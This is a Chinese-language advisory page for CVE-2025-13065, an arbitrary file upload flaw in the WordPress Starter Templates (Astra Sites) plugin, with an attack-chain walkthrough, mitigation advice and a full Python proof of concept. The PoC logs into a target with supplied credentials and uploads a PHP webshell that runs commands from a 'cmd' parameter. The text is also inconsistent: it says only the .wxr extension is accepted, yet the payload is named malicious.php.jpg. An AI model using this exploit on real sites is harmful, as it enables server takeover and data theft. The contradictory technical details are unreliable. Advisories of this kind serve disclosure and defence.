IPBUF安全漏洞报告
English
CVE-2025-13065 CVSS 8.8 高危

CVE-2025-13065 WordPress Starter Templates插件任意文件上传漏洞

披露日期: 2025-12-06

漏洞信息

漏洞编号
CVE-2025-13065
漏洞类型
任意文件上传/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Starter Templates (Astra Sites) 插件

相关标签

CVE-2025-13065WordPress插件漏洞任意文件上传远程代码执行Starter TemplatesAstra SitesWXR文件注入双扩展名绕过认证用户攻击WordPress安全

漏洞概述

CVE-2025-13065是WordPress Starter Templates插件中的一个高危安全漏洞。该插件(也称为Astra Sites)存在任意文件上传缺陷,攻击者可利用此漏洞绕过文件类型验证机制,上传包含恶意代码的文件到服务器,最终实现远程代码执行。漏洞根源在于插件对WXR文件格式的验证不充分,特别是对双扩展名文件(如.php.jpg)的检测和过滤存在缺陷。在CVSS 3.1评分体系中,该漏洞获得8.8分,属于高危级别。攻击者需要拥有WordPress作者级别(Author)或更高权限的账户即可利用此漏洞。对于托管在WordPress平台上的网站,该漏洞可能导致整个网站被完全控制,用户数据泄露,以及进一步的网络横向攻击。由于该插件被广泛用于快速创建WordPress网站,漏洞影响范围可能涉及大量使用该插件的网站。

技术细节

该漏洞的根本原因在于Starter Templates插件的WXR文件导入器对上传文件的类型验证不足。WXR是WordPress eXtended RSS的缩写格式,用于WordPress内容导入导出功能。攻击者可以利用双扩展名技术绕过安全检测,例如将PHP代码保存为test.php.jpg或shell.jpg等文件名。插件仅检查文件扩展名是否为.wxr,而不会深入检查文件实际内容和MIME类型。当包含恶意PHP代码的文件被上传后,攻击者可以通过直接访问该文件路径来执行任意代码。攻击流程包括:1)使用有效凭证登录WordPress;2)构造包含恶意代码的双扩展名文件;3)通过插件的导入功能上传该文件;4)访问上传文件路径触发代码执行。由于WXR文件通常被允许上传到特定目录,攻击者可以利用这一信任关系实现持久化访问。修复版本4.4.42在文件上传处理逻辑中增加了更严格的文件类型检查和白名单验证机制。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress作者级别或更高权限的账户凭证,可以通过社会工程学、密码爆破或内部人员泄露等方式获得
STEP 2
步骤2
攻击者准备恶意文件,使用双扩展名技术(如shell.php.jpg)绕过插件的文件类型验证,将PHP代码隐藏在WXR文件格式中
STEP 3
步骤3
攻击者登录WordPress后台,访问Starter Templates插件的导入功能页面
STEP 4
步骤4
通过插件的文件上传接口提交恶意文件,由于插件仅检查.wxr扩展名,双扩展名文件可以成功上传
STEP 5
步骤5
恶意文件被保存到服务器指定目录(通常是wp-content/uploads/或插件缓存目录)
STEP 6
步骤6
攻击者直接访问上传的恶意文件URL,Web服务器将其作为PHP文件解析并执行其中的代码
STEP 7
步骤7
通过WebShell执行任意系统命令,获取服务器完全控制权,可进行数据窃取、横向移动或安装后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13065 PoC - WordPress Starter Templates Arbitrary File Upload Author: Security Researcher Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import re def create_malicious_file(): """ Create a malicious WXR file with PHP code The file will have double extension to bypass validation """ php_code = '''<?php // Malicious PHP shell for RCE if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>''' # Create file with double extension to bypass .wxr check filename = "malicious.php.jpg" # WXR file content with embedded PHP wxr_content = f'''<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:wp="http://wordpress.org/export/1.2/"> <channel> <title>Malicious Import</title> <item> <content:encoded><![CDATA[{php_code}]]></content:encoded> </item> </channel> </rss>''' return filename, wxr_content.encode() def exploit(target_url, username, password): """ Exploit the arbitrary file upload vulnerability """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print("[*] Attempting to login to WordPress...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies) and 'invalid' in response.text.lower(): print("[-] Login failed! Please check credentials.") return False print("[+] Login successful!") # Step 2: Get nonce for importer nonce_url = f"{target_url}/wp-admin/admin.php?page=starter-templates" response = session.get(nonce_url) # Extract nonce (simplified) nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', response.text) if not nonce_match: print("[-] Could not find nonce, trying alternative method...") nonce = "fallback_nonce" else: nonce = nonce_match.group(1) # Step 3: Upload malicious file upload_url = f"{target_url}/wp-admin/admin-ajax.php" filename, file_content = create_malicious_file() files = { 'file': (filename, file_content, 'application/octet-stream') } data = { 'action': 'st_import_site', '_wpnonce': nonce, 'starter-templates-import': '1' } print(f"[*] Uploading malicious file: {filename}") response = session.post(upload_url, data=data, files=files) if response.status_code == 200: print("[+] File upload request sent!") print(f"[*] Check {target_url}/wp-content/uploads/ for the uploaded file") print("[*] Access the file directly to execute commands: ?cmd=whoami") return True print("[-] Upload failed!") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-13065.py <target_url> <username> <password>") print("Example: python cve-2025-13065.py http://target.com admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit(target, user, pwd)

影响范围

Starter Templates (Astra Sites) < 4.4.42

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)禁用或删除Starter Templates插件;2)限制作者级别用户的文件上传权限;3)在Web服务器配置中禁止上传目录中的PHP文件执行;4)使用ModSecurity等WAF规则阻止双扩展名文件上传;5)监控wp-content/uploads目录的文件创建活动;6)考虑使用文件完整性监控工具(如Wordfence)检测恶意文件上传。建议在可行的情况下尽快应用官方安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表